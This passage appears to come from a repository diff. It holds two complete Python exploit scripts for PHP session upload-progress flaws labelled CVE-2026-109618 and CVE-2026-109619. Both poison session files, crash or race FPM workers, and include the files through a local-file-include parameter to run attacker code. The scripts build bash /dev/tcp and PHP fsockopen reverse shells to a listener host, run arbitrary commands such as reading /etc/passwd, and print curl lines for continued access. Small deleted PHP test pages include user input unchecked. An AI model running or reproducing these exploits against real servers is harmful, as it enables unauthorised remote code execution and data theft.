3. N form fields (OOM during parsing → bailout → cleanup skipped)
Worker crashes → session file persists with PHP code on disk.
Phase 2 ─ Trigger
FPM master spawns new worker. We include the session file via LFI
and the embedded PHP code executes.
Requirements:
- PHP-FPM with session.upload_progress.enabled=1 (default)
- memory_limit reachable via multipart fields (or RLIMIT_AS)
- An LFI vector in the target (include/require with user input)
- Known or guessable session.save_path
Tested: PHP 8.1–8.4, x86_64 Linux, NTS.
Usage:
python3 exploit.py -t http://target/app.php --cmd 'id'
python3 exploit.py -t http://target/app.php --lhost 10.0.0.1 --lport 4444
python3 exploit.py -t http://target/app.php --trigger-only
"""
import argparse
import base64
import os
import re
import socket
import sys
import time
from urllib.parse import urlparse
# ─── defaults ────────────────────────────────────────────────────────
FIELD_COUNT = 30000
FIELD_SIZE = 512
BATCH = 500
USE_CHUNKED = True
SESSION_PATHS = [
"/tmp",
"/tmp/php-sessions",
"/var/lib/php/sessions",
"/var/lib/php5/sessions",
"/var/lib/php/sess",
]
# ─── multipart builder ───────────────────────────────────────────────
def mp_field(bnd, name, value):
return (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
b"\r\n" + value + b"\r\n")
def mp_file(bnd, name, fname, content):
return (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="' + name
+ b'"; filename="' + fname + b'"\r\n'
b"Content-Type: application/octet-stream\r\n"
b"\r\n" + content + b"\r\n")
def mp_end(bnd):
return b"--" + bnd + b"--\r\n"
# ─── HTTP helpers ────────────────────────────────────────────────────
def tcp_connect(host, port, tls, timeout=60):
sock = socket.create_connection((host, port), timeout=timeout)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def send_chunk(sock, data):
sock.sendall(f"{len(data):x}\r\n".encode() + data + b"\r\n")
def recv_all(sock, timeout=10):
resp = b""
sock.settimeout(timeout)
try:
while True:
d = sock.recv(8192)
if not d:
break
resp += d
except socket.timeout:
pass
return resp
def http_get(host, port, tls, path, timeout=10):
sock = tcp_connect(host, port, tls, timeout)
sock.sendall(
b"GET " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
resp = recv_all(sock, timeout)
sock.close()
return resp
def status_code(resp):
try:
return int(resp.split(b" ")[1])
except:
return 0
def body_of(resp):
if b"\r\n\r\n" not in resp:
return resp
hdr, raw = resp.split(b"\r\n\r\n", 1)
if b"transfer-encoding: chunked" in hdr.lower():
out = b""
data = raw
while data:
nl = data.find(b"\r\n")
if nl < 0:
break
try:
clen = int(data[:nl].split(b";")[0].strip(), 16)
except ValueError:
break
if clen == 0:
break
out += data[nl+2:nl+2+clen]
data = data[nl+2+clen+2:]
return out
return raw
# ─── Phase 1: poison session + crash worker ──────────────────────────
def phase1(host, port, tls, path, bnd, sid, php_code, fields, fsize,
chunked=True):
"""Send multipart: upload progress + file + OOM fields.
Returns (http_status_or_0, fields_sent_before_crash).
When chunked=False, builds full body with Content-Length. Required
when nginx has fastcgi_request_buffering off — chunked bodies bypass
PHP's multipart parser in that configuration.
"""
if not chunked:
return _phase1_contentlength(host, port, tls, path, bnd, sid,
php_code, fields, fsize)
sock = tcp_connect(host, port, tls)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
b"Transfer-Encoding: chunked\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
# 1. PHP_SESSION_UPLOAD_PROGRESS — value becomes session key suffix
send_chunk(sock, mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code))
# 2. File upload — triggers progress handler, session flushed to disk
send_chunk(sock, mp_file(bnd, b"file", b"x.bin", b"\x00" * 4096))
# 3. Pressure fields — OOM during parsing before MULTIPART_EVENT_END
sent = 0
for start in range(0, fields, BATCH):
end = min(start + BATCH, fields)
batch = b""
for i in range(start, end):
batch += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize)
try:
send_chunk(sock, batch)
sent = end
except (BrokenPipeError, ConnectionResetError, OSError):
break
try:
send_chunk(sock, mp_end(bnd))
sock.sendall(b"0\r\n\r\n")
except:
pass
resp = recv_all(sock, timeout=5)
sock.close()
return status_code(resp), sent
def _phase1_contentlength(host, port, tls, path, bnd, sid, php_code,
fields, fsize):
"""Content-Length variant — builds the full body then sends it."""
body = b""
body += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", php_code)
body += mp_file(bnd, b"file", b"x.bin", b"\x00" * 4096)
for i in range(fields):
body += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize)
body += mp_end(bnd)
sock = tcp_connect(host, port, tls)
sock.sendall(
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
try:
sock.sendall(body)
except (BrokenPipeError, ConnectionResetError, OSError):
pass
resp = recv_all(sock, timeout=5)
sock.close()
return status_code(resp), fields
# ─── Phase 2: LFI include of session file ───────────────────────────
def phase2(host, port, tls, path, sid, session_paths, lfi_param):
"""Try including the session file via common paths."""
for sp in session_paths:
sess = f"{sp}/sess_{sid}"
url = f"{path}?{lfi_param}={sess}"
try:
resp = http_get(host, port, tls, url, timeout=10)
rbody = body_of(resp)
if b"CVE2026:" in rbody or b"upload_progress_" in rbody:
return resp, sess
except:
continue
return None, None
# ─── main ────────────────────────────────────────────────────────────
def run(args):
p = urlparse(args.target)
tls = p.scheme == "https"
host = p.hostname or "127.0.0.1"
port = p.port or (443 if tls else 80)
path = p.path or "/"
sid = args.session_id or os.urandom(16).hex()
bnd = b"----CVE2026OOM" + os.urandom(8).hex().encode()
spaths = list(SESSION_PATHS)
if args.session_path:
spaths = [args.session_path] + [s for s in spaths if s != args.session_path]
# Build PHP payload
if args.trigger_only:
php_code = b'<?php echo "CVE2026:TRIGGERED:pid=".getmypid().":".php_uname(); ?>'
elif args.cmd:
cmd_b64 = base64.b64encode(args.cmd.encode()).decode()
php_code = f'<?php echo "CVE2026:";system(base64_decode("{cmd_b64}"));echo ":END"; ?>'.encode()
elif args.lhost and args.lport:
shell = f"bash -c 'bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1'"
cmd_b64 = base64.b64encode(shell.encode()).decode()
php_code = f'<?php system(base64_decode("{cmd_b64}")); ?>'.encode()
else:
print("[!] Specify --cmd, --lhost/--lport, or --trigger-only", file=sys.stderr)
sys.exit(1)
print("=" * 65)
print(" CVE-2026-109618: PHP Multipart OOM → Session Poisoning → RCE")
print("=" * 65)
print(f" Target : {args.target}")
print(f" Session ID : {sid}")
print(f" LFI param : {args.lfi_param}")
print(f" Fields : {args.fields} × {args.field_size}B")
if args.cmd:
print(f" Command : {args.cmd}")
elif args.lhost:
print(f" Reverse sh : {args.lhost}:{args.lport}")
print()
# ── Phase 0: verify target ──
print("[*] Phase 0: checking target...")
try:
r0 = http_get(host, port, tls, path, timeout=5)
sc = status_code(r0)
if sc == 0:
raise ConnectionError("no response")
print(f" HTTP {sc} — target alive")
except Exception as e:
print(f" [!] Not reachable: {e}")
sys.exit(1)
# ── Phase 1: poison session + crash ──
print()
print("[*] Phase 1: session poisoning + OOM crash")
print(f" Injecting {len(php_code)}B PHP code into session key...")
use_chunked = not args.no_chunked
if not use_chunked:
print(f" Using Content-Length mode (required for fastcgi_request_buffering off)")
status, fields_sent = phase1(
host, port, tls, path, bnd, sid,
php_code, args.fields, args.field_size,
chunked=use_chunked,
)
if status == 502 or status == 0:
print(f" [+] Worker crashed (HTTP {status or 'reset'})")
print(f" OOM after ~{fields_sent} fields — bailout skipped session cleanup")
elif status == 500:
print(f" [+] HTTP 500 — OOM during script (worker survived)")
else:
print(f" [!] HTTP {status} — may not have OOMed; try increasing --fields")
# Wait for new worker
print(" Waiting for new worker...")
time.sleep(1.5)
for i in range(8):
try:
r1 = http_get(host, port, tls, path, timeout=3)
sc1 = status_code(r1)
if sc1 in (200, 301, 302, 403, 404):
print(f" New worker ready (HTTP {sc1})")
break
except:
pass
time.sleep(1)
else:
print(" [!] New worker not available after 8 retries")
sys.exit(1)
# ── Phase 2: LFI trigger ──
print()
print("[*] Phase 2: including poisoned session file via LFI...")
resp, sess_path = phase2(host, port, tls, path, sid, spaths, args.lfi_param)
if resp is None:
print(" [!] Session file not found at any common path")
print(f" Try: --session-path /actual/path")
print(f" File: sess_{sid}")
sys.exit(1)
output = body_of(resp).decode(errors="replace")
print(f" Session file: {sess_path}")
if args.trigger_only:
m = re.search(r"CVE2026:TRIGGERED:(.+?)(?:\||$)", output)
if m:
print()
print(f"[+] Code execution confirmed!")
print(f" {m.group(1)}")
else:
print(f" [*] Session file exists but code may not have executed")
print(f" Response: {output[:200]}")
return
if args.cmd:
m = re.search(r"CVE2026:(.*?):END", output, re.DOTALL)
if m:
result = m.group(1).strip()
else:
result = output.split("upload_progress_")[0] if "upload_progress_" in output else output[:500]
result = re.sub(r"\r?\npid=\d+.*", "", result, flags=re.DOTALL).strip()
result = re.sub(r"\r?\n\d+\s*$", "", result).strip()
print()
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
print(result)
print("[+] ══════════════════════════════════════════")
print()
print("[+] RCE achieved via CVE-2026-109618!")
print()
print("[*] For continued access:")
cmd_b64 = base64.b64encode(b"id").decode()
print(f" curl '{args.target}?{args.lfi_param}={sess_path}&c={cmd_b64}'")
else:
print()
print(f"[+] Payload delivered — check listener at {args.lhost}:{args.lport}")
print(f"[*] Session file for re-exploitation: {sess_path}")
def main():
ap = argparse.ArgumentParser(
description="CVE-2026-109618: PHP multipart OOM → session poisoning → RCE",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
%(prog)s -t http://target/app.php --cmd 'id'
%(prog)s -t http://target/app.php --lhost 10.0.0.1 --lport 4444
%(prog)s -t http://target/app.php --trigger-only
%(prog)s -t http://target/app.php --cmd 'cat /etc/passwd' \\
--session-path /var/lib/php/sessions --lfi-param tpl
""")
ap.add_argument("-t", "--target", required=True, help="Target URL")
ap.add_argument("--cmd", help="Command to execute")
ap.add_argument("--lhost", help="Reverse shell listener IP")
ap.add_argument("--lport", type=int, help="Reverse shell listener port")
ap.add_argument("--trigger-only", action="store_true",
help="Confirm vuln without RCE payload")
ap.add_argument("--session-path",
help="session.save_path on target (default: common paths)")
ap.add_argument("--session-id",
help="Force PHPSESSID (default: random hex)")
ap.add_argument("--lfi-param", default="page",
help="LFI query parameter (default: page)")
ap.add_argument("--fields", type=int, default=FIELD_COUNT,
help=f"Pressure fields for OOM (default: {FIELD_COUNT})")
ap.add_argument("--field-size", type=int, default=FIELD_SIZE,
help=f"Bytes per field (default: {FIELD_SIZE})")
ap.add_argument("--no-chunked", action="store_true",
help="Use Content-Length instead of chunked encoding "
"(required when nginx has fastcgi_request_buffering off)")
args = ap.parse_args()
run(args)
if __name__ == "__main__":
main()
-11
View File
@@ -1,11 +0,0 @@
<?php
session_start();
$pid = getmypid();
if (isset($_GET['page'])) {
include($_GET['page']);
}
$n = count($_POST);
$files = count($_FILES);
echo "pid=$pid post=$n files=$files sid=" . session_id() . "\n";
-20
View File
@@ -1,20 +0,0 @@
<?php
$pid = getmypid();
$status_pre = session_status();
$sid_pre = session_id();
$ok = @session_start();
$status_post = session_status();
$sid_post = session_id();
$sess_data = isset($_SESSION) ? $_SESSION : null;
$sess_keys = is_array($sess_data) ? array_keys($sess_data) : 'NULL';
$sess_payload_len = is_array($sess_data) && isset($sess_data['payload']) ? strlen($sess_data['payload']) : 0;
header('Content-Type: text/plain');
echo "pid=$pid\n";
echo "session_status_before=$status_pre\n";
echo "session_id_before=$sid_pre\n";
echo "session_start_ok=" . var_export($ok, true) . "\n";
echo "session_status_after=$status_post\n";
echo "session_id_after=$sid_post\n";
echo "session_keys=" . (is_array($sess_keys) ? implode(',', $sess_keys) : $sess_keys) . "\n";
echo "session_payload_len=$sess_payload_len\n";
-686
View File
@@ -1,686 +0,0 @@
#!/usr/bin/env python3
"""
CVE-2026-109619 — RCE via PHP session upload progress
PHP's session.upload_progress feature (enabled by default) writes
upload progress data to the session file during multipart request
parsing. The progress key stored in the session is constructed as:
session.upload_progress.prefix + $_POST[session.upload_progress.name]
The attacker controls the POST field value, and the session file
serializer (php format) stores the key VERBATIM — the only character
filtered is '|' (the key/value delimiter). This means arbitrary
bytes, including PHP code, are written into the session file on disk.
The session file path is predictable:
<session.save_path>/sess_<PHPSESSID>
Common default paths:
/tmp/sess_*
/var/lib/php/sessions/sess_*
Exploitation:
1. Send a multipart POST with PHP_SESSION_UPLOAD_PROGRESS containing
embedded PHP code: <?php system($cmd); ?>
2. The upload progress callback writes this to the session file.
3. Include the session file via any local-file-include vector:
- Direct include() / require() with attacker-controlled path
- PHP stream wrappers (php://filter)
- Log/session file inclusion (a classic PHP attack)
4. The PHP engine parses the session file, finds the <?php ?> tag
within the serialized data, and executes the injected code.
The exploit automates all steps: it obtains a session ID, injects code
via upload progress, and triggers inclusion for RCE.
Requirements
------------
- session.upload_progress.enabled = 1 (ON by default in all PHP builds)
- session.serialize_handler = php (default)
- Target endpoint calls session_start()
- An LFI vector OR known session save path + include primitive
- Tested on PHP 8.0–8.4 x86_64 Linux
Usage
-----
# Reverse shell via LFI
python3 exploit.py --target http://target/app.php \\
--lfi-param page \\
--session-path /tmp \\
--lhost 10.0.0.1 --lport 4444
# Trigger-only (write code to session, report path)
python3 exploit.py --target http://target/app.php --trigger-only
# Custom command
python3 exploit.py --target http://target/app.php \\
--lfi-param page --session-path /tmp \\
--cmd "id > /tmp/pwned"
"""
import argparse
import io
import os
import socket
import sys
import time
import re
import threading
# ---------------------------------------------------------------------------
# Config
# ---------------------------------------------------------------------------
BOUNDARY = b"----CVE2026109619" + os.urandom(8).hex().encode()
PROGRESS_FIELD = b"PHP_SESSION_UPLOAD_PROGRESS"
DEFAULT_SESSION_PATHS = [
"/tmp",
"/tmp/php-sessions",
"/var/lib/php/sessions",
"/var/lib/php5/sessions",
"/var/lib/php/session",
]
# ---------------------------------------------------------------------------
# Multipart helpers
# ---------------------------------------------------------------------------
def multipart_field(name: bytes, value: bytes) -> bytes:
return (
b"--" + BOUNDARY + b"\r\n"
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
b"\r\n" + value + b"\r\n"
)
def multipart_file(name: bytes, filename: bytes, content: bytes,
content_type: bytes = b"application/octet-stream") -> bytes:
return (
b"--" + BOUNDARY + b"\r\n"
b'Content-Disposition: form-data; name="' + name
+ b'"; filename="' + filename + b'"\r\n'
b"Content-Type: " + content_type + b"\r\n"
b"\r\n" + content + b"\r\n"
)
def multipart_end() -> bytes:
return b"--" + BOUNDARY + b"--\r\n"
# ---------------------------------------------------------------------------
# Payload construction
# ---------------------------------------------------------------------------
def make_php_payload(cmd: str) -> bytes:
"""Craft PHP code to inject into the session file via progress key.
The code is embedded in the progress key prefix, so it ends up as:
upload_progress_<PHP_CODE>
in the session file. When the file is included, PHP parses and
executes the <?php ?> block."""
return f'<?php {cmd} ?>'.encode()
def make_reverse_shell_payload(lhost: str, lport: int) -> bytes:
cmd = (
f"$sock=fsockopen('{lhost}',{lport});"
f"$proc=proc_open('/bin/sh',array(0=>$sock,1=>$sock,2=>$sock),$pipes);"
)
return make_php_payload(cmd)
def make_cmd_payload(cmd: str) -> bytes:
return make_php_payload(f'system("{cmd}");')
# ---------------------------------------------------------------------------
# HTTP helpers (raw sockets for precision)
# ---------------------------------------------------------------------------
def _parse_url(url: str):
from urllib.parse import urlparse
p = urlparse(url)
tls = p.scheme == "https"
host = p.hostname or "127.0.0.1"
port = p.port or (443 if tls else 80)
path = p.path or "/"
if p.query:
path += "?" + p.query
return host, port, tls, path
def _connect(host: str, port: int, tls: bool):
sock = socket.create_connection((host, port), timeout=10)
if tls:
import ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(sock, server_hostname=host)
return sock
def _recv_response(sock, timeout=5) -> bytes:
resp = b""
sock.settimeout(timeout)
try:
while True:
chunk = sock.recv(8192)
if not chunk:
break
resp += chunk
if b"\r\n\r\n" in resp:
hdr_end = resp.index(b"\r\n\r\n") + 4
headers = resp[:hdr_end]
# Check Content-Length
m = re.search(rb'Content-Length:\s*(\d+)', headers, re.I)
if m:
cl = int(m.group(1))
body_so_far = len(resp) - hdr_end
while body_so_far < cl:
more = sock.recv(8192)
if not more:
break
resp += more
body_so_far += len(more)
break
# Check chunked
if b'Transfer-Encoding: chunked' in headers:
if b"\r\n0\r\n" in resp:
break
continue
# No CL, no chunked — read until timeout
try:
more = sock.recv(4096)
if more:
resp += more
except socket.timeout:
pass
break
except socket.timeout:
pass
return resp
def _send_http(sock, method: bytes, host: str, path: str,
body: bytes = b"", headers: dict = None,
content_type: bytes = None, keepalive: bool = True) -> bytes:
conn = b"keep-alive" if keepalive else b"close"
req = method + b" " + path.encode() + b" HTTP/1.1\r\n"
req += b"Host: " + host.encode() + b"\r\n"
if content_type:
req += b"Content-Type: " + content_type + b"\r\n"
if body:
req += b"Content-Length: " + str(len(body)).encode() + b"\r\n"
req += b"Connection: " + conn + b"\r\n"
if headers:
for k, v in headers.items():
req += f"{k}: {v}\r\n".encode()
req += b"\r\n"
sock.sendall(req + body)
return _recv_response(sock)
def _extract_cookies(resp: bytes) -> dict:
cookies = {}
for line in resp.split(b"\r\n"):
if line.lower().startswith(b"set-cookie:"):
cookie_str = line.split(b":", 1)[1].strip()
kv = cookie_str.split(b";")[0]
if b"=" in kv:
k, v = kv.split(b"=", 1)
cookies[k.strip().decode()] = v.strip().decode()
return cookies
def _decode_chunked(data: bytes) -> bytes:
out = b""
while data:
line_end = data.find(b"\r\n")
if line_end < 0:
break
size_str = data[:line_end].split(b";")[0].strip()
try:
chunk_len = int(size_str, 16)
except ValueError:
break
if chunk_len == 0:
break
start = line_end + 2
out += data[start:start + chunk_len]
data = data[start + chunk_len + 2:]
return out
def _extract_body(resp: bytes) -> bytes:
if b"\r\n\r\n" not in resp:
return b""
headers, body = resp.split(b"\r\n\r\n", 1)
if b"transfer-encoding: chunked" in headers.lower():
return _decode_chunked(body)
return body
def _status_code(resp: bytes) -> int:
try:
return int(resp.split(b" ")[1])
except (IndexError, ValueError):
return 0
# ---------------------------------------------------------------------------
# Exploit phases
# ---------------------------------------------------------------------------
def phase1_get_session(sock, host, path) -> str:
"""Get a valid PHPSESSID from the target."""
resp = _send_http(sock, b"GET", host, path)
cookies = _extract_cookies(resp)
sid = cookies.get("PHPSESSID")
if not sid:
body = _extract_body(resp)
m = re.search(rb'sid=([a-zA-Z0-9,-]+)', body)
if m:
sid = m.group(1).decode()
return sid
def phase2_inject(sock, host, path, session_id: str,
php_code: bytes) -> tuple:
"""Inject PHP code into the session file via upload progress."""
body = io.BytesIO()
# The PHP_SESSION_UPLOAD_PROGRESS field MUST come before any file
# fields — PHP processes form fields in order and initialises the
# progress tracker when it sees this field.
body.write(multipart_field(PROGRESS_FIELD, php_code))
# A file upload is required to trigger the progress write-back.
# The callback only writes progress data on FILE_START/DATA/END events.
body.write(multipart_file(
b"file", b"payload.bin",
b"\x00" * 8192,
))
body.write(multipart_end())
body_bytes = body.getvalue()
ct = b"multipart/form-data; boundary=" + BOUNDARY
resp = _send_http(
sock, b"POST", host, path,
body=body_bytes,
content_type=ct,
headers={"Cookie": f"PHPSESSID={session_id}"},
keepalive=True,
)
return _status_code(resp), _extract_body(resp)
def phase2_inject_slow(host, port, tls, path, session_id, php_code, duration=5.0):
"""Send a slow multipart upload to keep session file populated.
Used for race condition against cleanup=1: the session file contains
our PHP code during the entire upload. A concurrent request can
include it via LFI before cleanup runs at MULTIPART_EVENT_END.
"""
bnd = b"----SLOW" + os.urandom(4).hex().encode()
sock = _connect(host, port, tls)
# Build progress field + start of file upload
head = b""
head += (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="' + PROGRESS_FIELD + b'"\r\n'
b"\r\n" + php_code + b"\r\n")
head += (b"--" + bnd + b"\r\n"
b'Content-Disposition: form-data; name="file"; filename="slow.bin"\r\n'
b"Content-Type: application/octet-stream\r\n\r\n")
file_size = 1024 * 1024
tail = b"\r\n--" + bnd + b"--\r\n"
total_body = len(head) + file_size + len(tail)
req = (
b"POST " + path.encode() + b" HTTP/1.1\r\n"
b"Host: " + host.encode() + b"\r\n"
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
b"Content-Length: " + str(total_body).encode() + b"\r\n"
b"Cookie: PHPSESSID=" + session_id.encode() + b"\r\n"
b"Connection: close\r\n\r\n"
)
sock.sendall(req + head)
chunk = b"\x00" * 4096
sent = 0
start_time = time.time()
try:
while sent < file_size and (time.time() - start_time) < duration:
to_send = min(4096, file_size - sent)
sock.sendall(chunk[:to_send])
sent += to_send
time.sleep(0.05)
sock.sendall(tail)
except (BrokenPipeError, ConnectionResetError, OSError):
pass
try:
_recv_response(sock, timeout=2)
except:
pass
sock.close()
def phase3_include(sock, host, path, session_id: str,
session_path: str, lfi_param: str) -> tuple:
"""Trigger LFI to include the poisoned session file."""
sess_file = f"{session_path}/sess_{session_id}"
inc_path = f"{path}?{lfi_param}={sess_file}"
resp = _send_http(
sock, b"GET", host, inc_path,
headers={"Cookie": f"PHPSESSID={session_id}"},
keepalive=False,
)
return _status_code(resp), _extract_body(resp)
# ---------------------------------------------------------------------------
# Session path discovery
# ---------------------------------------------------------------------------
def discover_session_path(sock, host, path, session_id: str,
lfi_param: str, paths: list) -> str:
"""Try common session save paths to find the right one."""
for sp in paths:
sess_file = f"{sp}/sess_{session_id}"
inc_path = f"{path}?{lfi_param}={sess_file}"
resp = _send_http(
sock, b"GET", host, inc_path,
headers={"Cookie": f"PHPSESSID={session_id}"},
keepalive=True,
)
body = _extract_body(resp)
status = _status_code(resp)
if status == 200 and (b"sid=" in body or b"upload_progress" in body):
return sp
return ""
# ---------------------------------------------------------------------------
# Main
# ---------------------------------------------------------------------------
def run(target: str, lhost: str, lport: int, trigger_only: bool,
cmd: str, lfi_param: str, session_path: str, attempts: int,
race: bool = False):
host, port, tls, path = _parse_url(target)
print(f"[*] CVE-2026-109619: PHP session upload progress RCE")
print(f"[*] Target: {target}")
if trigger_only:
print(f"[*] Mode: trigger-only (inject code, report path)")
elif cmd:
print(f"[*] Mode: command execution")
print(f"[*] Command: {cmd}")
else:
print(f"[*] Mode: reverse shell → {lhost}:{lport}")
if race:
print(f"[*] Race: enabled (works with cleanup=1)")
print()
# Build payload
if trigger_only:
php_code = b'<?php echo "CVE-2026-109619:" . php_uname() . ":" . posix_getuid(); ?>'
elif cmd:
cmd_safe = cmd.replace('"', '\\"')
php_code = f'<?php echo "CVE2026:";system("{cmd_safe}");echo ":END"; ?>'.encode()
else:
if not lhost or not lport:
print("[!] --lhost and --lport required for reverse shell mode")
sys.exit(1)
php_code = make_reverse_shell_payload(lhost, lport)
# Race condition mode: send slow upload + concurrent LFI
if race and lfi_param:
return _run_race(host, port, tls, path, php_code, lfi_param,
session_path, cmd, lhost, lport, trigger_only, attempts)
for attempt in range(1, attempts + 1):
if attempts > 1:
print(f"[*] === Attempt {attempt}/{attempts} ===")
sock = _connect(host, port, tls)
# Phase 1: Get session ID
print("[*] Phase 1: Obtaining session ID...")
sid = phase1_get_session(sock, host, path)
if not sid:
sid = os.urandom(13).hex()
print(f"[!] Could not extract PHPSESSID, using generated: {sid}")
else:
print(f"[+] PHPSESSID: {sid}")
# Phase 2: Inject PHP code via upload progress
print(f"[*] Phase 2: Injecting PHP code via upload progress...")
print(f" Payload: {php_code[:80].decode(errors='replace')}{'...' if len(php_code) > 80 else ''}")
status, body = phase2_inject(sock, host, path, sid, php_code)
print(f" Response: HTTP {status}")
if status == 200:
print("[+] Upload progress request accepted — code injected into session file")
elif status == 502:
print("[!] 502 — worker crashed. Retrying...")
sock.close()
time.sleep(0.5)
continue
else:
print(f"[!] Unexpected status {status}")
if trigger_only:
print()
print("[+] Session file poisoned successfully.")
print(f"[*] Session ID: {sid}")
print(f"[*] The session file contains injected PHP code.")
print(f"[*] Common session file locations:")
for sp in DEFAULT_SESSION_PATHS:
print(f" {sp}/sess_{sid}")
print()
print("[*] To verify, include the session file via LFI:")
print(f" curl 'http://target/vuln.php?page=/tmp/sess_{sid}'")
print(f" curl 'http://target/vuln.php?page=/var/lib/php/sessions/sess_{sid}'")
print()
print("[*] Or check the file directly on the target server:")
print(f" cat /tmp/sess_{sid}")
print(f" strings /var/lib/php/sessions/sess_{sid}")
sock.close()
return True
# Phase 3: Trigger inclusion
if not lfi_param:
print()
print("[+] Code injected. No --lfi-param specified for auto-inclusion.")
print(f"[*] Trigger manually: include the session file via LFI")
print(f" {target}?PARAM={session_path}/sess_{sid}")
sock.close()
return True
print(f"[*] Phase 3: Triggering session file inclusion via '{lfi_param}' param...")
if not session_path:
print("[*] No --session-path given, trying common paths...")
session_path = discover_session_path(
sock, host, path, sid, lfi_param, DEFAULT_SESSION_PATHS)
if session_path:
print(f"[+] Found session path: {session_path}")
else:
print("[!] Could not auto-detect session path. Try --session-path")
sock.close()
continue
# Need a fresh connection (the POST consumed the keepalive)
try:
status, body = phase3_include(sock, host, path, sid, session_path, lfi_param)
except (BrokenPipeError, ConnectionResetError, OSError):
sock.close()
sock = _connect(host, port, tls)
status, body = phase3_include(sock, host, path, sid, session_path, lfi_param)
print(f" Response: HTTP {status}")
body_text = body.decode(errors='replace')
if "CVE-2026-109619:" in body_text:
# Trigger-only canary found in output
marker = body_text[body_text.index("CVE-2026-109619:"):]
marker = marker.split("|")[0].split("\x00")[0][:200]
print(f"[+] CODE EXECUTION CONFIRMED!")
print(f" Output: {marker}")
sock.close()
return True
elif cmd and status == 200:
m = re.search(r"CVE2026:(.*?):END", body_text, re.DOTALL)
if m:
output = m.group(1).strip()
print()
print("[+] ═══════════════ RCE OUTPUT ═══════════════")
print(output)
print("[+] ══════════════════════════════════════════")
print(f"\n[+] RCE achieved via CVE-2026-109619!")
sock.close()
return True
elif "upload_progress_" in body_text:
print(f"[+] Session file included but code may not have executed")
print(f" (serialized session data visible in response)")
sock.close()
return True
else:
print(f"[!] Inclusion did not produce expected output. Body preview:")
print(f" {body_text[:300]}")
elif not cmd and not trigger_only and status == 200:
print(f"[*] Request sent — check listener on {lhost}:{lport}")
sock.close()
return True
else:
print(f"[!] Inclusion may have failed. Body preview:")
print(f" {body_text[:200]}")
sock.close()
print()
print()
if trigger_only:
print("[*] Done. Session file was poisoned — verify via LFI or file access.")
elif cmd or (lhost and lport):
print("[*] Done. If RCE did not fire, check:")
print(" - session.upload_progress.enabled = 1")
print(" - session.serialize_handler = php (default)")
print(" - LFI parameter name (--lfi-param)")
print(" - Session save path (--session-path)")
return False
def _run_race(host, port, tls, path, php_code, lfi_param,
session_path, cmd, lhost, lport, trigger_only, attempts):
"""Race condition mode: works with session.upload_progress.cleanup=1.
Sends a slow multipart upload to keep the session file populated with
our PHP code, while concurrently trying to include it via LFI.
"""
spaths = [session_path] if session_path else list(DEFAULT_SESSION_PATHS)
for attempt in range(1, attempts + 1):
if attempts > 1:
print(f"[*] === Attempt {attempt}/{attempts} ===")
sid = os.urandom(16).hex()
print(f"[+] Session ID: {sid}")
# Start slow upload in background thread
print("[*] Starting slow upload (keeps session file alive)...")
upload_thread = threading.Thread(
target=phase2_inject_slow,
args=(host, port, tls, path, sid, php_code, 8.0),
daemon=True,
)
upload_thread.start()
time.sleep(0.3)
# Race: try LFI repeatedly while upload is in progress
# Use a DIFFERENT session ID for LFI to avoid blocking on session file lock
lfi_sid = os.urandom(16).hex()
print("[*] Racing LFI requests against upload...")
hit = False
for i in range(100):
if not upload_thread.is_alive():
break
for sp in spaths:
sess_file = f"{sp}/sess_{sid}"
url = f"{path}?{lfi_param}={sess_file}"
try:
sock = _connect(host, port, tls)
resp = _send_http(
sock, b"GET", host, url,
headers={"Cookie": f"PHPSESSID={lfi_sid}"},
keepalive=False,
)
sock.close()
body = _extract_body(resp)
body_text = body.decode(errors="replace")
if "CVE-2026-109619:" in body_text or "CVE2026:" in body_text:
hit = True
if "CVE-2026-109619:" in body_text:
marker = body_text[body_text.index("CVE-2026-109619:"):]
marker = marker.split("|")[0][:200]
print(f"\n[+] CODE EXECUTION CONFIRMED (race won, attempt {i+1})")
print(f" {marker}")
elif "CVE2026:" in body_text:
m = re.search(r"CVE2026:(.*?):END", body_text, re.DOTALL)
if m:
result = m.group(1).strip()
else:
result = body_text.split("upload_progress_")[0] if "upload_progress_" in body_text else body_text[:500]
print(f"\n[+] ═══════ RCE OUTPUT (race won, attempt {i+1}) ═══════")
print(result)
print("[+] ═════════════════════════════════════════════")
print(f"\n[+] RCE achieved via CVE-2026-109619!")
return True
elif b"upload_progress_" in body:
print(f" [+] Session file found at {sp} — content visible")
if trigger_only:
print(f"[+] Session poisoning confirmed (race won)")
return True
except:
pass
time.sleep(0.02)
upload_thread.join(timeout=2)
if hit:
return True
print(f" Race lost on attempt {attempt}")
print("[!] Race condition failed after all attempts")
print(" Try: --attempts 10 or check --session-path")
return False
def main():
p = argparse.ArgumentParser(
description="CVE-2026-109619: PHP session upload progress → RCE",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
%(prog)s -t http://target/app.php --cmd 'id' --lfi-param page --session-path /tmp
